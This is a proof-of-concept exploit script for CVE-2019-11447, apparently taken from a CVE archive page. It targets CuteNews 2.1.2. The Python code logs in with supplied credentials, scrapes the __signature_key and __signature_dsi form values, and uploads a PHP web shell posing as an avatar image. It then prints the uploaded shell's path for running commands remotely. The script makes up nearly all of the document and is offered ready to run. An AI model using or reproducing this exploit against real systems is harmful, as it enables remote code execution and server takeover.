4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2019-11447.py PY
import re
import sys
import argparse
import requests
import random


class Exploit:
    def __init__(self, url, username, password):
        self.url = url
        self.username = username
        self.password = password
        self.filename = f"{random.randrange(9999)}.php"
        self.session = requests.Session()

    def run(self):
        try:
            self.validate_version()
            self.login()
        except Exception as error:
            print(f"[!] {str(error)}")
            sys.exit(1)

    def validate_version(self):
        print("[*] Checking version...")
        response = self.session.get(self.url)
        matches = re.findall('Powered by <\w.+>CuteNews ([\d.]+)', response.text)

        if len(matches) != 1 or matches[0] != '2.1.2':
            raise Exception("CuteNews version 2.1.2 required")

        print("[+] CuteNews version 2.1.2 detected!")

    def login(self):
        print(f"[*] Logging in with credentials {self.username}:{self.password}")
        data = {
            'action': 'dologin',
            'username': self.username,
            'password': self.password
        }

        response = self.session.post(self.url, data=data)
        if 'Please Login' in response.text:
            raise Exception('Failed to log in, are the credentials correct?')
        else:
            print("[+] Login successful!")
            self.upload_file()

    def upload_file(self):
        key, dsi = self.get_signature_values()

        print("[*] Uploading the RCE shell...")
        data = {
            'mod': (None, 'main'),
            'opt': (None, 'personal'),
            '__signature_key': (None, key),
            '__signature_dsi': (None, dsi),
            'avatar_file': (self.filename, open('shell.php', 'r').read())
        }

        response = self.session.post(self.url, files=data)

        if response.status_code != 200:
            raise Exception('An error occurred uploading our shell.')

        print("[+] Shell uploaded successfully!")
        print(f"[+] Path: /uploads/avatar_{self.username}_{self.filename}?cmd=<cmd>")
        print("[*] Exploit complete!")

    def get_signature_values(self):
        url = f"{self.url}?mod=main&opt=personal"

        print("[*] Retrieving required __signature_key and __signature_dsi values")
        response = self.session.get(url)

        matches = re.findall('name="__signature_key" value="(.*?)".*name="__signature_dsi" value="(.*?)"',
                             response.text)

        if len(matches) != 1:
            raise Exception('Failed to find the required values.')

        key = matches[0][0]
        dsi = matches[0][1]

        print(f"[+] __signature_key = {key}")
        print(f"[+] __signature_dsi = {dsi}")

        return key, dsi


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Exploits CuteNews 2.1.2 via poor file upload checks used when'
                                                 'uploading an avatar image leading to RCE.')
    parser.add_argument('url', help='The base/login URL of CuteNews (e.g. http://localhost/CuteNews/index.php)')
    parser.add_argument('username', help='The username for an existing CuteNews account', default=None)
    parser.add_argument('password', help='The password for the existing CuteNews account', default=None)
    args = parser.parse_args()

    exploit = Exploit(args.url, args.username, args.password)
    exploit.run()